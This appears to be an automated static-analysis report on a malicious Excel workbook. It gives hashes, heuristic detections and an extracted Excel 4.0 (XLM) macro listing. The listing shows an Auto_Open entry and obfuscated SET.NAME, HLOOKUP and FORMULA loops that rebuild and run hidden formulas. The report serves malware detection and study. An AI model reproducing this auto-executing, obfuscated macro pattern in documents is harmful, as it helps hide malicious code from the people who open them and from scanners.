Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a44016ee27a25a6…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:46:56 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 00ad702e65f73672f043162a78ef4afb SHA-1: 6f1ebc4a592fbe2466d3b864e22767de659c74dc SHA-256: 6a44016ee27a25a607120c6887139b98001b247fd59ea542095c075f3c92ea11
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6538 bytes
SHA-256: 1906fbae6cf8f91dc3142afcaa5e61cbc7c8c42d8559a1dfa882de01557356aa
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CfIsPM
' 0018     23 LABEL : Cell Value, String Constant - aKvTAhrw len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H175 
' 0018     24 LABEL : Cell Value, String Constant - doQbmMrHp len=0 
' 0018     22 LABEL : Cell Value, String Constant - eOgQUes len=0 
' 0018     22 LABEL : Cell Value, String Constant - FpHnKVh len=0 
' 0018     24 LABEL : Cell Value, String Constant - kIrsFzhie len=0 
' 0018     27 LABEL : Cell Value, String Constant - kPuaAMBmqfaI len=0 
' 0018     23 LABEL : Cell Value, String Constant - LjvKZlWc len=0 
' 0018     23 LABEL : Cell Value, String Constant - MhoSLMjX len=0 
' 0018     22 LABEL : Cell Value, String Constant - naztNyC len=0 
' 0018     27 LABEL : Cell Value, String Constant - OAVWuPJUrngB len=0 
' 0018     22 LABEL : Cell Value, String Constant - OyHgxjh len=0 
' 0018     25 LABEL : Cell Value, String Constant - pzPktRaahv len=0 
' 0018     26 LABEL : Cell Value, String Constant - qBVsDkWLLPx len=0 
' 0018     21 LABEL : Cell Value, String Constant - REYtlJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - SnbTlzmr len=0 
' 0018     25 LABEL : Cell Value, String Constant - VgcyuvwisQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - vmLzTFFqmGW len=0 
' 0018     20 LABEL : Cell Value, String Constant - VTfom len=0 
' 0018     22 LABEL : Cell Value, String Constant - WGZoneX len=0 
' 0018     27 LABEL : Cell Value, String Constant - YMXSLvhedcoy len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CfIsPM,H88,"SET.NAME("aKvTAhrw",VALUE("0"))",""
'  CfIsPM,H90,"SET.NAME("SnbTlzmr",aKvTAhrw)",""
'  CfIsPM,H92,"SET.NAME("WGZoneX",aKvTAhrw)",""
'  CfIsPM,H94,"SET.NAME("OAVWuPJUrngB",COUNTA(kPuaAMBmqfaI))",""
'  CfIsPM,H98,"SET.NAME("OyHgxjh",COUNTA(naztNyC))",""
'  CfIsPM,H101,[],""
'  CfIsPM,H104,"SET.NAME("MhoSLMjX","")",""
'  CfIsPM,H107,"SnbTlzmr",""
'  CfIsPM,H111,"SET.NAME("pzPktRaahv",HLOOKUP("*",kPuaAMBmqfaI,SnbTlzmr,FALSE))",""
'  CfIsPM,H113,"VgcyuvwisQ",""
'  CfIsPM,H118,"SET.NAME("LjvKZlWc",aKvTAhrw)",""
'  CfIsPM,H122,[],""
'  CfIsPM,H127,"LjvKZlWc",""
'  CfIsPM,H129,"kIrsFzhie",""
'  CfIsPM,H134,"YMXSLvhedcoy",""
'  CfIsPM,H137,"VTfom",""
'  CfIsPM,H142,"SET.NAME("eOgQUes",VALUE(HLOOKUP("*",naztNyC,VTfom,FALSE)))",""
'  CfIsPM,H146,"doQbmMrHp",""
'  CfIsPM,H148,"MhoSLMjX",""
'  CfIsPM,H153,"WGZoneX",""
'  CfIsPM,H156,NEXT(),""
'  CfIsPM,H161,"vmLzTFFqmGW",""
'  CfIsPM,H163,"SET.NAME("f",INT(T(FORMULA(T(MhoSLMjX)&"",""&T(vmLzTFFqmGW)))))",""
'  CfIsPM,H165,"REYtlJ",""
'  CfIsPM,H169,NEXT(),""
'  CfIsPM,H172,RETURN(),""
'  CfIsPM,H198,"SET.NAME("FpHnKVh",H88)",""
'  CfIsPM,H203,"kPuaAMBmqfaI",""
'  CfIsPM,H207,"SET.NAME("naztNyC",R97C13)",""
'  CfIsPM,H212,"SET.NAME("REYtlJ",218)",""
'  CfIsPM,H215,"SET.NAME("qBVsDkWLLPx",8)",""
'  CfIsPM,H217,FpHnKVh(),""
'  CfIsPM,H218,HALT(),""

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